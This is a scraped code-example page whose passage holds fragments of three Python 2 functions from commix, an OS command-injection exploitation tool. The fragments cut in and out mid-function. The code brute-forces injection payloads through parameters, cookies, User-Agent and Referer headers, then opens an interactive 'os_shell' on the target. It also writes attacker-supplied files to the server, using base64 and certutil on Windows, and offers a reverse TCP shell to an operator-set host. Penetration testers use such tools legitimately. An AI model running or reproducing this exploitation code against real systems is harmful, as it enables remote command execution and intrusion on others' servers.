                                             "(~) Payload: " + payload +
                                             Style.RESET_ALL)

                        # if need page reload
                        if menu.options.url_reload:
                            time.sleep(delay)
                            response = urllib.urlopen(url)

                        # Cookie Injection
                        if settings.COOKIE_INJECTION == True:
                            # Check if target host is vulnerable to cookie injection.
                            vuln_parameter = parameters.specify_cookie_parameter(
                                menu.options.cookie)
                            response = cb_injector.cookie_injection_test(
                                url, vuln_parameter, payload)

                        # User-Agent Injection
                        elif settings.USER_AGENT_INJECTION == True:
                            # Check if target host is vulnerable to user-agent injection.
                            vuln_parameter = parameters.specify_user_agent_parameter(
                                menu.options.agent)
                            response = cb_injector.user_agent_injection_test(
                                url, vuln_parameter, payload)

                        # Referer Injection
                        elif settings.REFERER_INJECTION == True:
                            # Check if target host is vulnerable to referer injection.
                            vuln_parameter = parameters.specify_referer_parameter(
                                menu.options.referer)
                            response = cb_injector.referer_injection_test(
                                url, vuln_parameter, payload)

                        else:
                            # Check if target host is vulnerable.
                            response, vuln_parameter = cb_injector.injection_test(
                                payload, http_request_method, url)

                        # Evaluate test results.
                        shell = cb_injector.injection_test_results(
                            response, TAG, randvcalc)

                        if not menu.options.verbose:
                            percent = ((i * 100) / total)
                            float_percent = "{0:.1f}".format(
                                round(((i * 100) / (total * 1.0)), 2))

                            if percent == 100:
                                if no_result == True:
                                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"
                            elif len(shell) != 0:
                                percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                            else:
                                percent = str(float_percent) + "%"
                            sys.stdout.write("\r(*) Testing the " + technique +
                                             "... " + "[ " + percent + " ]")
                            sys.stdout.flush()

                    except KeyboardInterrupt:
                        raise

                    except:
                        continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False

                        if settings.COOKIE_INJECTION == True:
                            header_name = " Cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " HTTP header"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, http_request_method,
                                vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        # Print the findings to terminal.
                        print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                        print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                        print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                        ) + Style.RESET_ALL + ""
                        print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                            "%20", " ", payload) + Style.RESET_ALL

                        # Check for any enumeration options.
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                enumerate_again = raw_input(
                                    "\n(?) Do you want to enumerate again? [Y/n/q] > "
                                ).lower()
                                if enumerate_again in settings.CHOISE_YES:
                                    cb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename)
                                    break
                                elif enumerate_again in settings.CHOISE_NO:
                                    break
                                elif enumerate_again in settings.CHOISE_QUIT:
                                    sys.exit(0)
                                else:
                                    if enumerate_again == "":
                                        enumerate_again = "enter"
                                    print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                                    pass
                        else:
                            cb_enumeration.do_check(separator, TAG, prefix,
                                                    suffix, whitespace,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename)

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            while True:
                                file_access_again = raw_input(
                                    "(?) Do you want to access files again? [Y/n/q] > "
                                ).lower()
                                if file_access_again in settings.CHOISE_YES:
                                    print ""
                                    cb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename)
                                    break
                                elif file_access_again in settings.CHOISE_NO:
                                    break
                                elif file_access_again in settings.CHOISE_QUIT:
                                    sys.exit(0)
                                else:
                                    if file_access_again == "":
                                        file_access_again = "enter"
                                    print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
                                    pass
                        else:
                            cb_file_access.do_check(separator, TAG, prefix,
                                                    suffix, whitespace,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename)

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            cb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename)

                        # Pseudo-Terminal shell
                        go_back = False
                        while True:
                            if go_back == True:
                                break
                            gotshell = raw_input(
                                "(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > "
                            ).lower()
                            if gotshell in settings.CHOISE_YES:
                                print ""
                                print "Pseudo-Terminal (type '?' for shell options)"
                                while True:
                                    try:
                                        cmd = raw_input("Shell > ")
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            if cmd.lower() == "?":
                                                menu.shell_options()
                                            elif cmd.lower() == "quit":
                                                sys.exit(0)
                                            elif cmd.lower() == "back":
                                                go_back = True
                                                if checks.check_next_attack_vector(
                                                        technique,
                                                        go_back) == True:
                                                    break
                                                else:
                                                    if no_result == True:
                                                        return False
                                                    else:
                                                        return True
                                            else:
                                                pass

                                        else:
                                            # Command execution results.
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)

                                            # if need page reload
                                            if menu.options.url_reload:
                                                time.sleep(delay)
                                                response = urllib.urlopen(url)

                                            # Evaluate injection results.
                                            shell = cb_injector.injection_results(
                                                response, TAG)
                                            if shell:
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                html_parser = HTMLParser.HTMLParser(
                                                )
                                                shell = html_parser.unescape(
                                                    shell)
                                                if shell != "":
                                                    print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                                else:
                                                    print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"

                                    except KeyboardInterrupt:
                                        raise

                            elif gotshell in settings.CHOISE_NO:
                                if checks.check_next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOISE_QUIT:
                                sys.exit(0)

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                                pass

    if no_result == True:
        print ""
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Ejemplo n.º 43
0
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, delay,
               http_request_method, url, vuln_parameter, alter_shell, filename,
               url_time_response):
    file_to_write = menu.options.file_write
    if not os.path.exists(file_to_write):
        sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN +
                         "It seems that the '" + file_to_write +
                         "' file, does not exists." + Style.RESET_ALL + "\n")
        sys.stdout.flush()
        sys.exit(0)

    if os.path.isfile(file_to_write):
        with open(file_to_write, 'r') as content_file:
            content = [line.replace("\n", " ") for line in content_file]
        content = "".join(str(p) for p in content).replace("'", "\"")
        if settings.TARGET_OS == "win":
            import base64
            content = base64.b64encode(content)
    else:
        sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN +
                         "It seems that '" + file_to_write +
                         "' is not a file." + Style.RESET_ALL + "\n")
        sys.stdout.flush()

    if os.path.split(menu.options.file_dest)[1] == "":
        dest_to_write = os.path.split(
            menu.options.file_dest)[0] + "/" + os.path.split(
                menu.options.file_write)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
        dest_to_write = "/" + os.path.split(
            menu.options.file_dest)[1] + "/" + os.path.split(
                menu.options.file_write)[1]
    else:
        dest_to_write = menu.options.file_dest

    # Execute command
    if settings.TARGET_OS == "win":
        from src.core.injections.results_based.techniques.classic import cb_injector
        whitespace = settings.WHITESPACES[0]
        dest_to_write = dest_to_write.replace("\\", "/")
        # Find path
        path = os.path.dirname(dest_to_write)
        path = path.replace("/", "\\")
        # Chnage directory
        cmd = "cd " + path
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Find filename
        filname = os.path.basename(dest_to_write)
        tmp_filname = "tmp_" + filname
        cmd = settings.FILE_WRITE + content + " > " + tmp_filname
        if not menu.options.alter_shell:
            cmd = "\"" + cmd + "\""
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Decode base 64 encoding
        cmd = "certutil -decode " + tmp_filname + " " + filname
        if not menu.options.alter_shell:
            cmd = "\"" + cmd + "\""
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        cb_injector.injection_results(response, TAG)
        # Delete tmp file
        cmd = "del " + tmp_filname
        if not menu.options.alter_shell:
            cmd = "\"" + cmd + "\""
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        cb_injector.injection_results(response, TAG)
        # Check if file exists
        cmd = "if exist " + filname + " (echo " + filname + ")"
        if not menu.options.alter_shell:
            cmd = "'" + cmd + "'"
        dest_to_write = path + "\\" + filname

    else:
        cmd = settings.FILE_WRITE + "'" + content + "'" + " > " + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write
        check_how_long, output = tb_injector.injection(
            separator, maxlen, TAG, cmd, prefix, suffix, delay,
            http_request_method, url, vuln_parameter, alter_shell, filename,
            url_time_response)
        shell = output
        shell = "".join(str(p) for p in shell)
        # Check if file exists
        cmd = "echo $(ls " + dest_to_write + ")"

    # Check if defined cookie injection.
    if menu.options.verbose:
        print ""
    check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd,
                                                   prefix, suffix, delay,
                                                   http_request_method, url,
                                                   vuln_parameter, alter_shell,
                                                   filename, url_time_response)
    shell = output
    try:
        shell = "".join(str(p) for p in shell)
    except TypeError:
        pass
    if menu.options.verbose:
        print ""
    if shell:
        sys.stdout.write(Style.BRIGHT + "\n\n  (!) The '" + Style.UNDERLINE +
                         shell + Style.RESET_ALL + Style.BRIGHT +
                         "' file was created successfully!\n" +
                         Style.RESET_ALL)
        sys.stdout.flush()
    else:
        sys.stdout.write(
            Fore.YELLOW + "\n" + settings.WARNING_SIGN +
            "It seems that you don't have permissions to write the '" +
            dest_to_write + "' file." + Style.RESET_ALL + "\n")
        sys.stdout.flush()
Ejemplo n.º 44
0
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method,
                          url_time_response):
    # percent = "0.2"
    counter = 1
    num_of_chars = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    is_vulnerable = False
    how_long_statistic = 0
    export_injection_info = False
    how_long = 0
    injection_type = "Semiblind Command Injection"
    technique = "tempfile-based injection technique"

    # Check if defined "--maxlen" option.
    if menu.options.maxlen:
        maxlen = settings.MAXLEN

    # Check if defined "--url-reload" option.
    if menu.options.url_reload == True:
        print Back.RED + "(x) Error: The '--url-reload' option is not available in " + technique + "!" + Style.RESET_ALL

    # percent = str(percent)+ "%"
    # sys.stdout.write("\r(*) Testing the " + technique + "... " +  "[ " + percent + " ]")
    # sys.stdout.flush()

    # Calculate all possible combinations
    total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
             len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

    for prefix in settings.PREFIXES:
        for suffix in settings.SUFFIXES:
            for separator in settings.SEPARATORS:
                num_of_chars = num_of_chars + 1

                # Check for bad combination of prefix and separator
                combination = prefix + separator
                if combination in settings.JUNK_COMBINATION:
                    prefix = ""

                # Change TAG on every request to prevent false-positive resutls.
                TAG = ''.join(
                    random.choice(string.ascii_uppercase)
                    for num_of_chars in range(6))

                # The output file for file-based injection technique.
                OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
                alter_shell = menu.options.alter_shell
                tag_length = len(TAG) + 4

                for output_length in range(1, int(tag_length)):
                    try:
                        # Tempfile-based decision payload (check if host is vulnerable).
                        if alter_shell:
                            payload = tfb_payloads.decision_alter_shell(
                                separator, output_length, TAG, OUTPUT_TEXTFILE,
                                delay, http_request_method)
                        else:
                            payload = tfb_payloads.decision(
                                separator, output_length, TAG, OUTPUT_TEXTFILE,
                                delay, http_request_method)

                        # Fix prefixes / suffixes
                        payload = parameters.prefixes(payload, prefix)
                        payload = parameters.suffixes(payload, suffix)

                        # Encode payload to Base64
                        if menu.options.base64:
                            payload = base64.b64encode(payload)

                        # Check if defined "--verbose" option.
                        if menu.options.verbose:
                            sys.stdout.write("\n" + Fore.GREY +
                                             "(~) Payload: " +
                                             payload.replace("\n", "\\n") +
                                             Style.RESET_ALL)

                        # Cookie Injection
                        if settings.COOKIE_INJECTION == True:
                            # Check if target host is vulnerable to cookie injection.
                            vuln_parameter = parameters.specify_cookie_parameter(
                                menu.options.cookie)
                            how_long = tfb_injector.cookie_injection_test(
                                url, vuln_parameter, payload)

                        # User-Agent Injection
                        elif settings.USER_AGENT_INJECTION == True:
                            # Check if target host is vulnerable to user-agent injection.
                            vuln_parameter = parameters.specify_user_agent_parameter(
                                menu.options.agent)
                            how_long = tfb_injector.user_agent_injection_test(
                                url, vuln_parameter, payload)

                        # Referer Injection
                        elif settings.REFERER_INJECTION == True:
                            # Check if target host is vulnerable to referer injection.
                            vuln_parameter = parameters.specify_referer_parameter(
                                menu.options.referer)
                            how_long = tfb_injector.referer_injection_test(
                                url, vuln_parameter, payload)

                        else:
                            # Check if target host is vulnerable.
                            how_long, vuln_parameter = tfb_injector.injection_test(
                                payload, http_request_method, url)

                        # Injection percentage calculation
                        percent = ((num_of_chars * 100) / total)
                        float_percent = "{0:.1f}".format(
                            round(((num_of_chars * 100) / (total * 1.0)), 2))

                        # Statistical analysis in .
                        how_long_statistic = how_long_statistic + how_long
                        if output_length == tag_length - 1:
                            how_long_statistic = 0

                        if percent == 100 and no_result == True:
                            if not menu.options.verbose:
                                percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                                percent = ""
                        else:
                            if (url_time_response == 0 and (how_long - delay) >= 0) or \
                               (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                               (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                # Time relative false positive fixation.
                                if len(TAG) == output_length and \
                                    how_long > (how_long_statistic / output_length):
                                    settings.FOUND_HOW_LONG = how_long
                                    settings.FOUND_DIFF = how_long - delay
                                    randv1 = random.randrange(0, 1)
                                    randv2 = random.randrange(1, 2)
                                    randvcalc = randv1 + randv2

                                    if settings.TARGET_OS == "win":
                                        if alter_shell:
                                            cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
                                                randv1) + " + " + str(
                                                    randv2) + ")\""
                                        else:
                                            cmd = "powershell.exe -InputFormat none write (" + str(
                                                randv1) + " + " + str(
                                                    randv2) + ")"
                                    else:
                                        cmd = "echo $((" + str(
                                            randv1) + " + " + str(
                                                randv2) + "))"

                                    # Check for false positive resutls
                                    how_long, output = tfb_injector.false_positive_check(
                                        separator, TAG, cmd, prefix, suffix,
                                        delay, http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        randvcalc, alter_shell, how_long,
                                        url_time_response)

                                    if (url_time_response == 0 and (how_long - delay) >= 0) or \
                                       (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                                       (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                        if str(output) == str(
                                                randvcalc) and len(
                                                    TAG) == output_length:
                                            is_vulnerable = True
                                            how_long_statistic = 0
                                            if not menu.options.verbose:
                                                percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                            else:
                                                percent = ""
                                    else:
                                        break
                                # False positive
                                else:
                                    if not menu.options.verbose:
                                        percent = str(float_percent) + "%"
                                        sys.stdout.write("\r(*) Testing the " +
                                                         technique + "... " +
                                                         "[ " + percent + " ]")
                                        sys.stdout.flush()
                                    continue
                            else:
                                if not menu.options.verbose:
                                    percent = str(float_percent) + "%"
                                    sys.stdout.write("\r(*) Testing the " +
                                                     technique + "... " +
                                                     "[ " + percent + " ]")
                                    sys.stdout.flush()
                                continue
                        if not menu.options.verbose:
                            sys.stdout.write("\r(*) Testing the " + technique +
                                             "... " + "[ " + percent + " ]")
                            sys.stdout.flush()

                    except KeyboardInterrupt:
                        # Delete previous shell (text) files (output) from temp.
                        delete_previous_shell(separator, payload, TAG, cmd,
                                              prefix, suffix,
                                              http_request_method, url,
                                              vuln_parameter, OUTPUT_TEXTFILE,
                                              alter_shell, filename)
                        raise

                    except SystemExit:
                        # Delete previous shell (text) files (output) from temp.
                        delete_previous_shell(separator, payload, TAG, cmd,
                                              prefix, suffix,
                                              http_request_method, url,
                                              vuln_parameter, OUTPUT_TEXTFILE,
                                              alter_shell, filename)
                        raise

                    except:
                        percent = ((num_of_chars * 100) / total)
                        float_percent = "{0:.1f}".format(
                            round(((num_of_chars * 100) / (total * 1.0)), 2))
                        if percent == 100:
                            if no_result == True:
                                if not menu.options.verbose:
                                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    sys.stdout.write("\r(*) Testing the " +
                                                     technique + "... " +
                                                     "[ " + percent + " ]")
                                    sys.stdout.flush()
                                else:
                                    percent = ""
                                break
                            else:
                                percent = str(float_percent) + "%"
                            #Print logs notification message
                            percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
                            sys.stdout.write("\r(*) Testing the " + technique +
                                             "... " + "[ " + percent + " ]")
                            sys.stdout.flush()
                            print ""
                            logs.logs_notification(filename)
                            raise
                        else:
                            percent = str(float_percent) + "%"
                        break

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if (url_time_response == 0 and (how_long - delay) >= 0) or \
                       (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                       (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                        if (len(TAG) == output_length) and (is_vulnerable
                                                            == True):
                            found = True
                            no_result = False
                            is_vulnerable = False

                            if settings.COOKIE_INJECTION == True:
                                header_name = " Cookie"
                                found_vuln_parameter = vuln_parameter
                                the_type = " HTTP header"

                            elif settings.USER_AGENT_INJECTION == True:
                                header_name = " User-Agent"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            elif settings.REFERER_INJECTION == True:
                                header_name = " Referer"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            else:
                                header_name = ""
                                the_type = " parameter"
                                if http_request_method == "GET":
                                    found_vuln_parameter = parameters.vuln_GET_param(
                                        url)
                                else:
                                    found_vuln_parameter = vuln_parameter

                            if len(found_vuln_parameter) != 0:
                                found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                            # Print the findings to log file.
                            if export_injection_info == False:
                                export_injection_info = logs.add_type_and_technique(
                                    export_injection_info, filename,
                                    injection_type, technique)
                            if vp_flag == True:
                                vp_flag = logs.add_parameter(
                                    vp_flag, filename, http_request_method,
                                    vuln_parameter, payload)
                            logs.update_payload(filename, counter, payload)
                            counter = counter + 1

                            # Print the findings to terminal.
                            print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                            print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                            print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                            ) + Style.RESET_ALL + ""
                            print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                                "%20", " ", payload.replace(
                                    "\n", "\\n")) + Style.RESET_ALL

                            if settings.TARGET_OS == "win":
                                delete_previous_shell(separator, payload, TAG,
                                                      cmd, prefix, suffix,
                                                      http_request_method, url,
                                                      vuln_parameter,
                                                      OUTPUT_TEXTFILE,
                                                      alter_shell, filename)
                                time.sleep(1)

                            # Check for any enumeration options.
                            if settings.ENUMERATION_DONE == True:
                                while True:
                                    enumerate_again = raw_input(
                                        "\n(?) Do you want to enumerate again? [Y/n/q] > "
                                    ).lower()
                                    if enumerate_again in settings.CHOISE_YES:
                                        tfb_enumeration.do_check(
                                            separator, maxlen, TAG, cmd,
                                            prefix, suffix, delay,
                                            http_request_method, url,
                                            vuln_parameter, OUTPUT_TEXTFILE,
                                            alter_shell, filename,
                                            url_time_response)
                                        break
                                    elif enumerate_again in settings.CHOISE_NO:
                                        break
                                    elif enumerate_again in settings.CHOISE_QUIT:
                                        # Delete previous shell (text) files (output) from temp.
                                        delete_previous_shell(
                                            separator, payload, TAG, cmd,
                                            prefix, suffix,
                                            http_request_method, url,
                                            vuln_parameter, OUTPUT_TEXTFILE,
                                            alter_shell, filename)
                                        sys.exit(0)
                                    else:
                                        if enumerate_again == "":
                                            enumerate_again = "enter"
                                        print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                            else:
                                tfb_enumeration.do_check(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, delay, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename, url_time_response)

                            # Check for any system file access options.
                            if settings.FILE_ACCESS_DONE == True:
                                while True:
                                    file_access_again = raw_input(
                                        "(?) Do you want to access files again? [Y/n] > "
                                    ).lower()
                                    if file_access_again in settings.CHOISE_YES:
                                        tfb_file_access.do_check(
                                            separator, maxlen, TAG, cmd,
                                            prefix, suffix, delay,
                                            http_request_method, url,
                                            vuln_parameter, OUTPUT_TEXTFILE,
                                            alter_shell, filename,
                                            url_time_response)
                                        break
                                    elif file_access_again in settings.CHOISE_NO:
                                        break
                                    elif file_access_again in settings.CHOISE_QUIT:
                                        # Delete previous shell (text) files (output) from temp.
                                        delete_previous_shell(
                                            separator, payload, TAG, cmd,
                                            prefix, suffix,
                                            http_request_method, url,
                                            vuln_parameter, OUTPUT_TEXTFILE,
                                            alter_shell, filename)
                                        sys.exit(0)
                                    else:
                                        if file_access_again == "":
                                            file_access_again = "enter"
                                        print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                            else:
                                tfb_file_access.do_check(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, delay, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename, url_time_response)
                            # Check if defined single cmd.
                            if menu.options.os_cmd:
                                check_how_long, output = tfb_enumeration.single_os_cmd_exec(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, delay, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename, url_time_response)
                                # Export injection result
                                tfb_injector.export_injection_results(
                                    cmd, separator, output, check_how_long)
                                # Delete previous shell (text) files (output) from temp.
                                delete_previous_shell(separator, payload, TAG,
                                                      cmd, prefix, suffix,
                                                      http_request_method, url,
                                                      vuln_parameter,
                                                      OUTPUT_TEXTFILE,
                                                      alter_shell, filename)
                                sys.exit(0)

                            try:
                                # Pseudo-Terminal shell
                                go_back = False
                                go_back_again = False
                                while True:
                                    # Delete previous shell (text) files (output) from temp.
                                    delete_previous_shell(
                                        separator, payload, TAG, cmd, prefix,
                                        suffix, http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    if menu.options.verbose:
                                        print ""
                                    if go_back == True:
                                        break
                                    gotshell = raw_input(
                                        "(?) Do you want a Pseudo-Terminal? [Y/n/q] > "
                                    ).lower()
                                    if gotshell in settings.CHOISE_YES:
                                        print ""
                                        print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                        if readline_error:
                                            checks.no_readline_module()
                                        while True:
                                            try:
                                                # Tab compliter
                                                if not readline_error:
                                                    readline.set_completer(
                                                        menu.tab_completer)
                                                    # MacOSX tab compliter
                                                    if getattr(
                                                            readline,
                                                            '__doc__', ''
                                                    ) is not None and 'libedit' in getattr(
                                                            readline,
                                                            '__doc__', ''):
                                                        readline.parse_and_bind(
                                                            "bind ^I rl_complete"
                                                        )
                                                    # Unix tab compliter
                                                    else:
                                                        readline.parse_and_bind(
                                                            "tab: complete")
                                                cmd = raw_input(
                                                    """commix(""" +
                                                    Style.BRIGHT + Fore.RED +
                                                    """os_shell""" +
                                                    Style.RESET_ALL +
                                                    """) > """)
                                                cmd = checks.escaped_cmd(cmd)
                                                if cmd.lower(
                                                ) in settings.SHELL_OPTIONS:
                                                    os_shell_option = checks.check_os_shell_options(
                                                        cmd.lower(), technique,
                                                        go_back, no_result)
                                                    if os_shell_option == False:
                                                        if no_result == True:
                                                            return False
                                                        else:
                                                            return True
                                                    elif os_shell_option == "quit":
                                                        # Delete previous shell (text) files (output) from temp.
                                                        delete_previous_shell(
                                                            separator, payload,
                                                            TAG, cmd, prefix,
                                                            suffix,
                                                            http_request_method,
                                                            url,
                                                            vuln_parameter,
                                                            OUTPUT_TEXTFILE,
                                                            alter_shell,
                                                            filename)
                                                        sys.exit(0)
                                                    elif os_shell_option == "back":
                                                        go_back = True
                                                        break
                                                    elif os_shell_option == "os_shell":
                                                        print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                                                    elif os_shell_option == "reverse_tcp":
                                                        # Set up LHOST / LPORT for The reverse TCP connection.
                                                        lhost, lport = reverse_tcp.configure_reverse_tcp(
                                                        )
                                                        while True:
                                                            if lhost and lport in settings.SHELL_OPTIONS:
                                                                result = checks.check_reverse_tcp_options(
                                                                    lhost)
                                                            else:
                                                                cmd = reverse_tcp.reverse_tcp_options(
                                                                    lhost,
                                                                    lport)
                                                                result = checks.check_reverse_tcp_options(
                                                                    cmd)
                                                            if result != None:
                                                                if result == 0:
                                                                    return False
                                                                elif result == 1 or result == 2:
                                                                    go_back_again = True
                                                                    break
                                                            # Command execution results.
                                                            from src.core.injections.results_based.techniques.classic import cb_injector
                                                            separator = checks.time_based_separators(
                                                                separator,
                                                                http_request_method
                                                            )
                                                            whitespace = settings.WHITESPACES[
                                                                0]
                                                            response = cb_injector.injection(
                                                                separator, TAG,
                                                                cmd, prefix,
                                                                suffix,
                                                                whitespace,
                                                                http_request_method,
                                                                url,
                                                                vuln_parameter,
                                                                alter_shell,
                                                                filename)
                                                            # Evaluate injection results.
                                                            shell = cb_injector.injection_results(
                                                                response, TAG)
                                                            if menu.options.verbose:
                                                                print ""
                                                            print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
                                                    else:
                                                        pass
                                                else:
                                                    print ""
                                                    # The main command injection exploitation.
                                                    check_how_long, output = tfb_injector.injection(
                                                        separator, maxlen, TAG,
                                                        cmd, prefix, suffix,
                                                        delay,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        OUTPUT_TEXTFILE,
                                                        alter_shell, filename,
                                                        url_time_response)
                                                    # Export injection result
                                                    tfb_injector.export_injection_results(
                                                        cmd, separator, output,
                                                        check_how_long)
                                            except KeyboardInterrupt:
                                                # Delete previous shell (text) files (output) from temp.
                                                delete_previous_shell(
                                                    separator, payload, TAG,
                                                    cmd, prefix, suffix,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    OUTPUT_TEXTFILE,
                                                    alter_shell, filename)
                                                raise
                                            except SystemExit:
                                                # Delete previous shell (text) files (output) from temp.
                                                delete_previous_shell(
                                                    separator, payload, TAG,
                                                    cmd, prefix, suffix,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    OUTPUT_TEXTFILE,
                                                    alter_shell, filename)
                                                raise

                                    elif gotshell in settings.CHOISE_NO:
                                        if checks.next_attack_vector(
                                                technique, go_back) == True:
                                            break
                                        else:
                                            if no_result == True:
                                                return False
                                            else:
                                                # Delete previous shell (text) files (output) from temp.
                                                delete_previous_shell(
                                                    separator, payload, TAG,
                                                    cmd, prefix, suffix,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    OUTPUT_TEXTFILE,
                                                    alter_shell, filename)
                                                return True
                                    elif gotshell in settings.CHOISE_QUIT:
                                        # Delete previous shell (text) files (output) from temp.
                                        delete_previous_shell(
                                            separator, payload, TAG, cmd,
                                            prefix, suffix,
                                            http_request_method, url,
                                            vuln_parameter, OUTPUT_TEXTFILE,
                                            alter_shell, filename)
                                        sys.exit(0)
                                    else:
                                        if gotshell == "":
                                            gotshell = "enter"
                                        print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                            except KeyboardInterrupt:
                                # Delete previous shell (text) files (output) from temp.
